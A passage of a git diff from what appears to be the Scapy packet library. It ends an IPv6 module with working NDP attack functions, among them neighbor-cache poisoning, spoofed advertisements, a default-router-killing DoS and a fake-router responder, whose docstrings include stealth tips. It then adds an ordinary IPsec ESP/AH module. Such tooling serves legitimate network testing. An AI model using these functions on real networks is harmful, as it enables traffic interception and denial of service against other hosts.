+        # Those simple checks are based on Section 5.4.2 of RFC 4862
+        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
+            return 0
+
+        mac_src = req[Ether].src
+        if mac_src_filter and mac_src != mac_src_filter:
+            return 0
+
+        # Source must NOT be the unspecified address
+        if req[IPv6].src == "::":
+            return 0
+
+        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
+        if tgt_filter and tgt != tgt_filter:
+            return 0
+
+        dst = req[IPv6].dst
+        if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast.
+
+            # If this is a real address resolution NS, then the destination
+            # address of the packet is the link-local solicited node multicast
+            # address associated with the target of the NS.
+            # Otherwise, the NS is a NUD related one, i.e. the peer is
+            # unicasting the NS to check the target is still alive (L2
+            # information is still in its cache and it is verified)
+            received_snma = socket.inet_pton(socket.AF_INET6, dst)
+            expected_snma = in6_getnsma(tgt)
+            if received_snma != expected_snma:
+                print("solicited node multicast @ does not match target @!")
+                return 0
+
+        return 1
+
+    def reply_callback(req, reply_mac, router, iface):
+        """
+        Callback that reply to a NS with a spoofed NA
+        """
+
+        # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
+        # send it back.
+        mac = req[Ether].src
+        pkt = req[IPv6]
+        src = pkt.src
+        tgt = req[ICMPv6ND_NS].tgt
+        rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src)
+        rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS
+
+        # "If the solicitation IP Destination Address is not a multicast
+        # address, the Target Link-Layer Address option MAY be omitted"
+        # Given our purpose, we always include it.
+        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
+
+        sendp(rep, iface=iface, verbose=0)
+
+        print("Reply NA for target address %s (received from %s)" % (tgt, mac))
+
+    if not iface:
+        iface = conf.iface
+    # To prevent sniffing our own traffic
+    if not reply_mac:
+        reply_mac = get_if_hwaddr(iface)
+    sniff_filter = "icmp6 and not ether src %s" % reply_mac
+
+    router = (router and 1) or 0 # Value of the R flags in NA
+
+    sniff(store=0,
+          filter=sniff_filter,
+          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
+          prn=lambda x: reply_callback(x, reply_mac, router, iface),
+          iface=iface)
+
+
+def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
+                           dst=None, src_mac=None, dst_mac=None, loop=True,
+                           inter=1, iface=None):
+    """
+    The main purpose of this function is to send fake Neighbor Solicitations
+    messages to a victim, in order to either create a new entry in its neighbor
+    cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
+    that a node SHOULD create the entry or update an existing one (if it is not
+    currently performing DAD for the target of the NS). The entry's reachability
+    state is set to STALE.
+
+    The two main parameters of the function are the source link-layer address
+    (carried by the Source Link-Layer Address option in the NS) and the
+    source address of the packet.
+
+    Unlike some other NDP_Attack_* function, this one is not based on a
+    stimulus/response model. When called, it sends the same NS packet in loop
+    every second (the default)
+
+    Following arguments can be used to change the format of the packets:
+
+    src_lladdr: the MAC address used in the Source Link-Layer Address option
+         included in the NS packet. This is the address that the peer should
+         associate in its neighbor cache with the IPv6 source address of the
+         packet. If None is provided, the mac address of the interface is
+         used.
+
+    src: the IPv6 address used as source of the packet. If None is provided,
+         an address associated with the emitting interface will be used
+         (based on the destination address of the packet).
+
+    target: the target address of the NS packet. If no value is provided,
+         a dummy address (2001:db8::1) is used. The value of the target
+         has a direct impact on the destination address of the packet if it
+         is not overridden. By default, the solicited-node multicast address
+         associated with the target is used as destination address of the
+         packet. Consider specifying a specific destination address if you
+         intend to use a target address different than the one of the victim.
+
+    dst: The destination address of the NS. By default, the solicited node
+         multicast address associated with the target address (see previous
+         parameter) is used if no specific value is provided. The victim
+         is not expected to check the destination address of the packet,
+         so using a multicast address like ff02::1 should work if you want
+         the attack to target all hosts on the link. On the contrary, if
+         you want to be more stealth, you should provide the target address
+         for this parameter in order for the packet to be sent only to the
+         victim.
+
+    src_mac: the MAC address used as source of the packet. By default, this
+         is the address of the interface. If you want to be more stealth,
+         feel free to use something else. Note that this address is not the
+         that the victim will use to populate its neighbor cache.
+
+    dst_mac: The MAC address used as destination address of the packet. If
+         the IPv6 destination address is multicast (all-nodes, solicited
+         node, ...), it will be computed. If the destination address is
+         unicast, a neighbor solicitation will be performed to get the
+         associated address. If you want the attack to be stealth, you
+         can provide the MAC address using this parameter.
+
+    loop: By default, this parameter is True, indicating that NS packets
+         will be sent in loop, separated by 'inter' seconds (see below).
+         When set to False, a single packet is sent.
+
+    inter: When loop parameter is True (the default), this parameter provides
+         the interval in seconds used for sending NS packets.
+
+    iface: to force the sending interface.
+    """
+
+    if not iface:
+        iface = conf.iface
+
+    # Use provided MAC address as source link-layer address option
+    # or the MAC address of the interface if none is provided.
+    if not src_lladdr:
+        src_lladdr = get_if_hwaddr(iface)
+
+    # Prepare packets parameters
+    ether_params = {}
+    if src_mac:
+        ether_params["src"] = src_mac
+
+    if dst_mac:
+        ether_params["dst"] = dst_mac
+
+    ipv6_params = {}
+    if src:
+        ipv6_params["src"] = src
+    if dst:
+        ipv6_params["dst"] = dst
+    else:
+        # Compute the solicited-node multicast address
+        # associated with the target address.
+        tmp = inet_ntop(socket.AF_INET6,
+                        in6_getnsma(inet_pton(socket.AF_INET6, target)))
+        ipv6_params["dst"] = tmp
+
+    pkt = Ether(**ether_params)
+    pkt /= IPv6(**ipv6_params)
+    pkt /= ICMPv6ND_NS(tgt=target)
+    pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
+
+    sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)
+
+
+def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
+                                   ip_src_filter=None, reply_mac=None,
+                                   tgt_mac=None):
+    """
+    The purpose of the function is to monitor incoming RA messages
+    sent by default routers (RA with a non-zero Router Lifetime values)
+    and invalidate them by immediately replying with fake RA messages
+    advertising a zero Router Lifetime value.
+
+    The result on receivers is that the router is immediately invalidated,
+    i.e. the associated entry is discarded from the default router list
+    and destination cache is updated to reflect the change.
+
+    By default, the function considers all RA messages with a non-zero
+    Router Lifetime value but provides configuration knobs to allow
+    filtering RA sent by specific routers (Ethernet source address).
+    With regard to emission, the multicast all-nodes address is used
+    by default but a specific target can be used, in order for the DoS to
+    apply only to a specific host.
+
+    More precisely, following arguments can be used to change the behavior:
+
+    iface: a specific interface (e.g. "eth0") of the system on which the
+         DoS should be launched. If None is provided conf.iface is used.
+
+    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
+         Only RA messages received from this source will trigger replies.
+         If other default routers advertised their presence on the link,
+         their clients will not be impacted by the attack. The default
+         value is None: the DoS is not limited to a specific mac address.
+
+    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
+         on. Only RA messages received from this source address will trigger
+         replies. If other default routers advertised their presence on the
+         link, their clients will not be impacted by the attack. The default
+         value is None: the DoS is not limited to a specific IPv6 source
+         address.
+
+    reply_mac: allow specifying a specific source mac address for the reply,
+         i.e. to prevent the use of the mac address of the interface.
+
+    tgt_mac: allow limiting the effect of the DoS to a specific host,
+         by sending the "invalidating RA" only to its mac address.
+    """
+
+    def is_request(req, mac_src_filter, ip_src_filter):
+        """
+        Check if packet req is a request
+        """
+
+        if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
+            return 0
+
+        mac_src = req[Ether].src
+        if mac_src_filter and mac_src != mac_src_filter:
+            return 0
+
+        ip_src = req[IPv6].src
+        if ip_src_filter and ip_src != ip_src_filter:
+            return 0
+
+        # Check if this is an advertisement for a Default Router
+        # by looking at Router Lifetime value
+        if req[ICMPv6ND_RA].routerlifetime == 0:
+            return 0
+
+        return 1
+
+    def ra_reply_callback(req, reply_mac, tgt_mac, iface):
+        """
+        Callback that sends an RA with a 0 lifetime
+        """
+
+        # Let's build a reply and send it
+
+        src = req[IPv6].src
+
+        # Prepare packets parameters
+        ether_params = {}
+        if reply_mac:
+            ether_params["src"] = reply_mac
+
+        if tgt_mac:
+            ether_params["dst"] = tgt_mac
+
+        # Basis of fake RA (high pref, zero lifetime)
+        rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1")
+        rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
+
+        # Add it a PIO from the request ...
+        tmp = req
+        while ICMPv6NDOptPrefixInfo in tmp:
+            pio = tmp[ICMPv6NDOptPrefixInfo]
+            tmp = pio.payload
+            del(pio.payload)
+            rep /= pio
+
+        # ... and source link layer address option
+        if ICMPv6NDOptSrcLLAddr in req:
+            mac = req[ICMPv6NDOptSrcLLAddr].lladdr
+        else:
+            mac = req[Ether].src
+        rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
+
+        sendp(rep, iface=iface, verbose=0)
+
+        print("Fake RA sent with source address %s" % src)
+
+
+    if not iface:
+        iface = conf.iface
+    # To prevent sniffing our own traffic
+    if not reply_mac:
+        reply_mac = get_if_hwaddr(iface)
+    sniff_filter = "icmp6 and not ether src %s" % reply_mac
+
+    sniff(store=0,
+          filter=sniff_filter,
+          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
+          prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
+          iface=iface)
+
+
+def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
+                           ip_src_filter=None):
+    """
+    The purpose of this function is to send provided RA message at layer 2
+    (i.e. providing a packet starting with IPv6 will not work) in response
+    to received RS messages. In the end, the function is a simple wrapper
+    around sendp() that monitor the link for RS messages.
+
+    It is probably better explained with an example:
+
+      >>> ra  = Ether()/IPv6()/ICMPv6ND_RA()
+      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
+      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
+      >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
+      >>> NDP_Attack_Fake_Router(ra, iface="eth0")
+      Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
+      Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
+      ...
+
+    Following arguments can be used to change the behavior:
+
+      ra: the RA message to send in response to received RS message.
+
+      iface: a specific interface (e.g. "eth0") of the system on which the
+             DoS should be launched. If none is provided, conf.iface is
+             used.
+
+      mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
+         Only RS messages received from this source will trigger a reply.
+         Note that no changes to provided RA is done which imply that if
+         you intend to target only the source of the RS using this option,
+         you will have to set the Ethernet destination address to the same
+         value in your RA.
+         The default value for this parameter is None: no filtering on the
+         source of RS is done.
+
+    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
+         on. Only RS messages received from this source address will trigger
+         replies. Same comment as for previous argument apply: if you use
+         the option, you will probably want to set a specific Ethernet
+         destination address in the RA.
+    """
+
+    def is_request(req, mac_src_filter, ip_src_filter):
+        """
+        Check if packet req is a request
+        """
+
+        if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
+            return 0
+
+        mac_src = req[Ether].src
+        if mac_src_filter and mac_src != mac_src_filter:
+            return 0
+
+        ip_src = req[IPv6].src
+        if ip_src_filter and ip_src != ip_src_filter:
+            return 0
+
+        return 1
+
+    def ra_reply_callback(req, iface):
+        """
+        Callback that sends an RA in reply to an RS
+        """
+
+        src = req[IPv6].src
+        sendp(ra, iface=iface, verbose=0)
+        print("Fake RA sent in response to RS from %s" % src)
+
+    if not iface:
+        iface = conf.iface
+    sniff_filter = "icmp6"
+
+    sniff(store=0,
+          filter=sniff_filter,
+          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
+          prn=lambda x: ra_reply_callback(x, iface),
+          iface=iface)
+
+
+#############################################################################
+#############################################################################
+###                          Layers binding                               ###
+#############################################################################
+#############################################################################
+
+conf.l3types.register(ETH_P_IPV6, IPv6)
+conf.l2types.register(31, IPv6)
+conf.l2types.register(DLT_IPV6, IPv6)
+conf.l2types.register(DLT_RAW, _IPv46)
+conf.l2types.register_num2layer(DLT_RAW_ALT, _IPv46)
+
+bind_layers(Ether,     IPv6,     type = 0x86dd )
+bind_layers(CookedLinux, IPv6,   proto = 0x86dd )
+bind_layers(GRE,       IPv6,     proto = 0x86dd )
+bind_layers(SNAP,      IPv6,     code = 0x86dd )
+bind_layers(Loopback,  IPv6,     type = 0x1c )
+bind_layers(IPerror6,  TCPerror, nh = socket.IPPROTO_TCP )
+bind_layers(IPerror6,  UDPerror, nh = socket.IPPROTO_UDP )
+bind_layers(IPv6,      TCP,      nh = socket.IPPROTO_TCP )
+bind_layers(IPv6,      UDP,      nh = socket.IPPROTO_UDP )
+bind_layers(IP,        IPv6,     proto = socket.IPPROTO_IPV6 )
+bind_layers(IPv6,      IPv6,     nh = socket.IPPROTO_IPV6 )
+bind_layers(IPv6,      IP,       nh = socket.IPPROTO_IPIP )
+bind_layers(IPv6,      GRE,      nh = socket.IPPROTO_GRE )
diff --git a/scapy/layers/ipsec.py b/scapy/layers/ipsec.py
new file mode 100644
index 0000000..69e7ae3
--- /dev/null
+++ b/scapy/layers/ipsec.py
@@ -0,0 +1,1048 @@
+#############################################################################
+## ipsec.py --- IPsec support for Scapy                                    ##
+##                                                                         ##
+## Copyright (C) 2014  6WIND                                               ##
+##                                                                         ##
+## This program is free software; you can redistribute it and/or modify it ##
+## under the terms of the GNU General Public License version 2 as          ##
+## published by the Free Software Foundation.                              ##
+##                                                                         ##
+## This program is distributed in the hope that it will be useful, but     ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
+## General Public License for more details.                                ##
+#############################################################################
+"""
+IPsec layer
+===========
+
+Example of use:
+
+>>> sa = SecurityAssociation(ESP, spi=0xdeadbeef, crypt_algo='AES-CBC',
+...                          crypt_key='sixteenbytes key')
+>>> p = IP(src='1.1.1.1', dst='2.2.2.2')
+>>> p /= TCP(sport=45012, dport=80)
+>>> p /= Raw('testdata')
+>>> p = IP(raw(p))
+>>> p
+<IP  version=4L ihl=5L tos=0x0 len=48 id=1 flags= frag=0L ttl=64 proto=tcp chksum=0x74c2 src=1.1.1.1 dst=2.2.2.2 options=[] |<TCP  sport=45012 dport=http seq=0 ack=0 dataofs=5L reserved=0L flags=S window=8192 chksum=0x1914 urgptr=0 options=[] |<Raw  load='testdata' |>>>
+>>>
+>>> e = sa.encrypt(p)
+>>> e
+<IP  version=4L ihl=5L tos=0x0 len=76 id=1 flags= frag=0L ttl=64 proto=esp chksum=0x747a src=1.1.1.1 dst=2.2.2.2 |<ESP  spi=0xdeadbeef seq=1 data=b'\xf8\xdb\x1e\x83[T\xab\\\xd2\x1b\xed\xd1\xe5\xc8Y\xc2\xa5d\x92\xc1\x05\x17\xa6\x92\x831\xe6\xc1]\x9a\xd6K}W\x8bFfd\xa5B*+\xde\xc8\x89\xbf{\xa9' |>>
+>>>
+>>> d = sa.decrypt(e)
+>>> d
+<IP  version=4L ihl=5L tos=0x0 len=48 id=1 flags= frag=0L ttl=64 proto=tcp chksum=0x74c2 src=1.1.1.1 dst=2.2.2.2 |<TCP  sport=45012 dport=http seq=0 ack=0 dataofs=5L reserved=0L flags=S window=8192 chksum=0x1914 urgptr=0 options=[] |<Raw  load='testdata' |>>>
+>>>
+>>> d == p
+True
+"""
+
+from __future__ import absolute_import
+from fractions import gcd
+import os
+import socket
+import struct
+
+from scapy.config import conf, crypto_validator
+from scapy.compat import orb, raw
+from scapy.data import IP_PROTOS
+from scapy.compat import *
+from scapy.error import log_loading
+from scapy.fields import ByteEnumField, ByteField, IntField, PacketField, \
+    ShortField, StrField, XIntField, XStrField, XStrLenField
+from scapy.packet import Packet, bind_layers, Raw
+from scapy.layers.inet import IP, UDP
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+from scapy.layers.inet6 import IPv6, IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt, \
+    IPv6ExtHdrRouting
+
+
+#------------------------------------------------------------------------------
+class AH(Packet):
+    """
+    Authentication Header
+
+    See https://tools.ietf.org/rfc/rfc4302.txt
+    """
+
+    name = 'AH'
+
+    def __get_icv_len(self):
+        """
+        Compute the size of the ICV based on the payloadlen field.
+        Padding size is included as it can only be known from the authentication
+        algorithm provided by the Security Association.
+        """
+        # payloadlen = length of AH in 32-bit words (4-byte units), minus "2"
+        # payloadlen = 3 32-bit word fixed fields + ICV + padding - 2
+        # ICV = (payloadlen + 2 - 3 - padding) in 32-bit words
+        return (self.payloadlen - 1) * 4
+
+    fields_desc = [
+        ByteEnumField('nh', None, IP_PROTOS),
+        ByteField('payloadlen', None),
+        ShortField('reserved', None),
+        XIntField('spi', 0x0),
+        IntField('seq', 0),
+        XStrLenField('icv', None, length_from=__get_icv_len),
+        # Padding len can only be known with the SecurityAssociation.auth_algo
+        XStrLenField('padding', None, length_from=lambda x: 0),
+    ]
+
+    overload_fields = {
+        IP: {'proto': socket.IPPROTO_AH},
+        IPv6: {'nh': socket.IPPROTO_AH},
+        IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_AH},
+        IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_AH},
+        IPv6ExtHdrRouting: {'nh': socket.IPPROTO_AH},
+    }
+
+bind_layers(IP, AH, proto=socket.IPPROTO_AH)
+bind_layers(IPv6, AH, nh=socket.IPPROTO_AH)
+bind_layers(AH, IP, nh=socket.IPPROTO_IP)
+bind_layers(AH, IPv6, nh=socket.IPPROTO_IPV6)
+
+#------------------------------------------------------------------------------
+class ESP(Packet):
+    """
+    Encapsulated Security Payload
+
+    See https://tools.ietf.org/rfc/rfc4303.txt
+    """
+    name = 'ESP'
+
+    fields_desc = [
+        XIntField('spi', 0x0),
+        IntField('seq', 0),
+        XStrField('data', None),
+    ]
+
+    overload_fields = {
+        IP: {'proto': socket.IPPROTO_ESP},
+        IPv6: {'nh': socket.IPPROTO_ESP},
+        IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_ESP},
+        IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_ESP},
+        IPv6ExtHdrRouting: {'nh': socket.IPPROTO_ESP},
+    }
+
+bind_layers(IP, ESP, proto=socket.IPPROTO_ESP)
+bind_layers(IPv6, ESP, nh=socket.IPPROTO_ESP)
+bind_layers(UDP, ESP, dport=4500)  # NAT-Traversal encapsulation
+bind_layers(UDP, ESP, sport=4500)  # NAT-Traversal encapsulation
+
+#------------------------------------------------------------------------------
+class _ESPPlain(Packet):
+    """
+    Internal class to represent unencrypted ESP packets.
+    """
+    name = 'ESP'
+
+    fields_desc = [
+        XIntField('spi', 0x0),
+        IntField('seq', 0),
+
+        StrField('iv', ''),
+        PacketField('data', '', Raw),
+        StrField('padding', ''),
+
+        ByteField('padlen', 0),
+        ByteEnumField('nh', 0, IP_PROTOS),
+        StrField('icv', ''),
+    ]
+
+    def data_for_encryption(self):
+        return raw(self.data) + self.padding + struct.pack("BB", self.padlen, self.nh)
+
+#------------------------------------------------------------------------------
+if conf.crypto_valid:
+    from cryptography.exceptions import InvalidTag
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives.ciphers import (
+        Cipher,
+        algorithms,
+        modes,
+    )
+else:
+    log_loading.info("Can't import python-cryptography v1.7+. "
+                     "Disabled IPsec encryption/authentication.")
+    InvalidTag = default_backend = None
+    Cipher = algorithms = modes = None
+
+#------------------------------------------------------------------------------
+def _lcm(a, b):
+    """
+    Least Common Multiple between 2 integers.
+    """
+    if a == 0 or b == 0:
+        return 0
+    else:
+        return abs(a * b) // gcd(a, b)
+
+class CryptAlgo(object):
+    """
+    IPsec encryption algorithm
+    """
+
+    def __init__(self, name, cipher, mode, block_size=None, iv_size=None,
+                 key_size=None, icv_size=None, salt_size=None, format_mode_iv=None):
+        """
+        @param name: the name of this encryption algorithm
+        @param cipher: a Cipher module
+        @param mode: the mode used with the cipher module
+        @param block_size: the length a block for this algo. Defaults to the
+                           `block_size` of the cipher.
+        @param iv_size: the length of the initialization vector of this algo.
+                        Defaults to the `block_size` of the cipher.
+        @param key_size: an integer or list/tuple of integers. If specified,
+                         force the secret keys length to one of the values.
+                         Defaults to the `key_size` of the cipher.
+        @param icv_size: the length of the Integrity Check Value of this algo.
+                         Used by Combined Mode Algorithms e.g. GCM
+        @param salt_size: the length of the salt to use as the IV prefix.
+                          Usually used by Counter modes e.g. CTR
+        @param format_mode_iv: function to format the Initialization Vector
+                               e.g. handle the salt value
+                               Default is the random buffer from `generate_iv`
+        """
+        self.name = name
+        self.cipher = cipher
+        self.mode = mode
+        self.icv_size = icv_size
+
+        if modes and self.mode is not None:
+            self.is_aead = issubclass(self.mode,
+                                      modes.ModeWithAuthenticationTag)
+        else:
+            self.is_aead = False
+
+        if block_size is not None:
+            self.block_size = block_size
+        elif cipher is not None:
+            self.block_size = cipher.block_size // 8
+        else:
+            self.block_size = 1
+
+        if iv_size is None:
+            self.iv_size = self.block_size
+        else:
+            self.iv_size = iv_size
+
+        if key_size is not None:
+            self.key_size = key_size
+        elif cipher is not None:
+            self.key_size = tuple(i // 8 for i in cipher.key_sizes)
+        else:
+            self.key_size = None
+
+        if salt_size is None:
+            self.salt_size = 0
+        else:
+            self.salt_size = salt_size
+
+        if format_mode_iv is None:
+            self._format_mode_iv = lambda iv, **kw: iv
+        else:
+            self._format_mode_iv = format_mode_iv
+
+    def check_key(self, key):
+        """
+        Check that the key length is valid.
+
+        @param key:    a byte string
+        """
+        if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size):
+            raise TypeError('invalid key size %s, must be %s' %
+                            (len(key), self.key_size))
+
+    def generate_iv(self):
+        """
+        Generate a random initialization vector.
+        """
+        # XXX: Handle counter modes with real counters? RFCs allow the use of
+        # XXX: random bytes for counters, so it is not wrong to do it that way
+        return os.urandom(self.iv_size)
+
+    @crypto_validator
+    def new_cipher(self, key, mode_iv, digest=None):
+        """
+        @param key:     the secret key, a byte string
+        @param mode_iv: the initialization vector or nonce, a byte string.
+                        Formatted by `format_mode_iv`.
+        @param digest:  also known as tag or icv. A byte string containing the
+                        digest of the encrypted data. Only use this during
+                        decryption!
+
+        @return:    an initialized cipher object for this algo
+        """
+        if self.is_aead and digest is not None:
+            # With AEAD, the mode needs the digest during decryption.
+            return Cipher(
+                self.cipher(key),
+                self.mode(mode_iv, digest, len(digest)),
+                default_backend(),
+            )
+        else:
+            return Cipher(
+                self.cipher(key),
+                self.mode(mode_iv),
+                default_backend(),
+            )
+
+    def pad(self, esp):
+        """
+        Add the correct amount of padding so that the data to encrypt is
+        exactly a multiple of the algorithm's block size.
+
+        Also, make sure that the total ESP packet length is a multiple of 4
+        bytes.
+
+        @param esp:    an unencrypted _ESPPlain packet
+
+        @return:    an unencrypted _ESPPlain packet with valid padding
+        """
+        # 2 extra bytes for padlen and nh
+        data_len = len(esp.data) + 2
+
+        # according to the RFC4303, section 2.4. Padding (for Encryption)
+        # the size of the ESP payload must be a multiple of 32 bits
+        align = _lcm(self.block_size, 4)
+
+        # pad for block size
+        esp.padlen = -data_len % align
+
+        # Still according to the RFC, the default value for padding *MUST* be an
+        # array of bytes starting from 1 to padlen
+        # TODO: Handle padding function according to the encryption algo
+        esp.padding = struct.pack("B" * esp.padlen, *range(1, esp.padlen + 1))
+
+        # If the following test fails, it means that this algo does not comply
+        # with the RFC
+        payload_len = len(esp.iv) + len(esp.data) + len(esp.padding) + 2
+        if payload_len % 4 != 0:
+            raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.')
+
+        return esp
+
+    def encrypt(self, sa, esp, key):
+        """
+        Encrypt an ESP packet
+
+        @param sa:   the SecurityAssociation associated with the ESP packet.
+        @param esp:  an unencrypted _ESPPlain packet with valid padding
+        @param key:  the secret key used for encryption
+
+        @return:    a valid ESP packet encrypted with this algorithm
+        """
+        data = esp.data_for_encryption()
+
+        if self.cipher:
+            mode_iv = self._format_mode_iv(algo=self, sa=sa, iv=esp.iv)
+            cipher = self.new_cipher(key, mode_iv)
+            encryptor = cipher.encryptor()
+
+            if self.is_aead:
+                aad = struct.pack('!LL', esp.spi, esp.seq)
+                encryptor.authenticate_additional_data(aad)
+                data = encryptor.update(data) + encryptor.finalize()
+                data += encryptor.tag[:self.icv_size]
+            else:
+                data = encryptor.update(data) + encryptor.finalize()
+
+        return ESP(spi=esp.spi, seq=esp.seq, data=esp.iv + data)
+
+    def decrypt(self, sa, esp, key, icv_size=None):
+        """
+        Decrypt an ESP packet
+
+        @param sa:         the SecurityAssociation associated with the ESP packet.
+        @param esp:        an encrypted ESP packet
+        @param key:        the secret key used for encryption
+        @param icv_size:   the length of the icv used for integrity check
+
+        @return:    a valid ESP packet encrypted with this algorithm
+        @raise IPSecIntegrityError: if the integrity check fails with an AEAD
+                                    algorithm
+        """
+        if icv_size is None:
+            icv_size = self.icv_size if self.is_aead else 0
+
+        iv = esp.data[:self.iv_size]
+        data = esp.data[self.iv_size:len(esp.data) - icv_size]
+        icv = esp.data[len(esp.data) - icv_size:]
+
+        if self.cipher:
+            mode_iv = self._format_mode_iv(sa=sa, iv=iv)
+            cipher = self.new_cipher(key, mode_iv, icv)
+            decryptor = cipher.decryptor()
+
+            if self.is_aead:
+                # Tag value check is done during the finalize method
+                decryptor.authenticate_additional_data(
+                    struct.pack('!LL', esp.spi, esp.seq)
+                )
+
+            try:
+                data = decryptor.update(data) + decryptor.finalize()
+            except InvalidTag as err:
+                raise IPSecIntegrityError(err)
+
+        # extract padlen and nh
+        padlen = orb(data[-2])
+        nh = orb(data[-1])
+
+        # then use padlen to determine data and padding
+        data = data[:len(data) - padlen - 2]
+        padding = data[len(data) - padlen - 2: len(data) - 2]
+
+        return _ESPPlain(spi=esp.spi,
+                        seq=esp.seq,
+                        iv=iv,
+                        data=data,
+                        padding=padding,
+                        padlen=padlen,
+                        nh=nh,
+                        icv=icv)
+
+#------------------------------------------------------------------------------
+# The names of the encryption algorithms are the same than in scapy.contrib.ikev2
+# see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml
+
+CRYPT_ALGOS = {
+    'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0),
+}
+
+if algorithms:
+    CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC',
+                                       cipher=algorithms.AES,
+                                       mode=modes.CBC)
+    _aes_ctr_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv + b'\x00\x00\x00\x01'
+    CRYPT_ALGOS['AES-CTR'] = CryptAlgo('AES-CTR',
+                                       cipher=algorithms.AES,
+                                       mode=modes.CTR,
+                                       iv_size=8,
+                                       salt_size=4,
+                                       format_mode_iv=_aes_ctr_format_mode_iv)
+    _salt_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv
+    CRYPT_ALGOS['AES-GCM'] = CryptAlgo('AES-GCM',
+                                       cipher=algorithms.AES,
+                                       mode=modes.GCM,
+                                       salt_size=4,
+                                       iv_size=8,
+                                       icv_size=16,
+                                       format_mode_iv=_salt_format_mode_iv)
+    if hasattr(modes, 'CCM'):
+        CRYPT_ALGOS['AES-CCM'] = CryptAlgo('AES-CCM',
+                                           cipher=algorithms.AES,
+                                           mode=modes.CCM,
+                                           iv_size=8,
+                                           salt_size=3,
+                                           icv_size=16,
+                                           format_mode_iv=_salt_format_mode_iv)
+    # XXX: Flagged as weak by 'cryptography'. Kept for backward compatibility
+    CRYPT_ALGOS['Blowfish'] = CryptAlgo('Blowfish',
+                                        cipher=algorithms.Blowfish,
+                                        mode=modes.CBC)
+    # XXX: RFC7321 states that DES *MUST NOT* be implemented.
+    # XXX: Keep for backward compatibility?
+    # Using a TripleDES cipher algorithm for DES is done by using the same 64
+    # bits key 3 times (done by cryptography when given a 64 bits key)
+    CRYPT_ALGOS['DES'] = CryptAlgo('DES',
+                                   cipher=algorithms.TripleDES,
+                                   mode=modes.CBC,
+                                   key_size=(8,))
+    CRYPT_ALGOS['3DES'] = CryptAlgo('3DES',
+                                    cipher=algorithms.TripleDES,
+                                    mode=modes.CBC)
+    CRYPT_ALGOS['CAST'] = CryptAlgo('CAST',
+                                    cipher=algorithms.CAST5,
+                                    mode=modes.CBC)
+
+#------------------------------------------------------------------------------
+if conf.crypto_valid:
+    from cryptography.hazmat.primitives.hmac import HMAC
+    from cryptography.hazmat.primitives.cmac import CMAC
+    from cryptography.hazmat.primitives import hashes
+else:
+    # no error if cryptography is not available but authentication won't be supported
+    HMAC = CMAC = hashes = None
+
+#------------------------------------------------------------------------------
+class IPSecIntegrityError(Exception):
+    """
+    Error risen when the integrity check fails.
+    """
+    pass
+
+class AuthAlgo(object):
+    """
+    IPsec integrity algorithm
+    """
+
+    def __init__(self, name, mac, digestmod, icv_size, key_size=None):
+        """
+        @param name: the name of this integrity algorithm
+        @param mac: a Message Authentication Code module
+        @param digestmod: a Hash or Cipher module
+        @param icv_size: the length of the integrity check value of this algo
+        @param key_size: an integer or list/tuple of integers. If specified,
+                         force the secret keys length to one of the values.
+                         Defaults to the `key_size` of the cipher.
+        """
+        self.name = name
+        self.mac = mac
+        self.digestmod = digestmod
+        self.icv_size = icv_size
+        self.key_size = key_size
+
+    def check_key(self, key):
+        """
+        Check that the key length is valid.
+
+        @param key:    a byte string
+        """
+        if self.key_size and len(key) not in self.key_size:
+            raise TypeError('invalid key size %s, must be one of %s' %
+                            (len(key), self.key_size))
+
+    @crypto_validator
+    def new_mac(self, key):
+        """
+        @param key:    a byte string
+        @return:       an initialized mac object for this algo
+        """
+        if self.mac is CMAC:
+            return self.mac(self.digestmod(key), default_backend())
+        else:
+            return self.mac(key, self.digestmod(), default_backend())
+
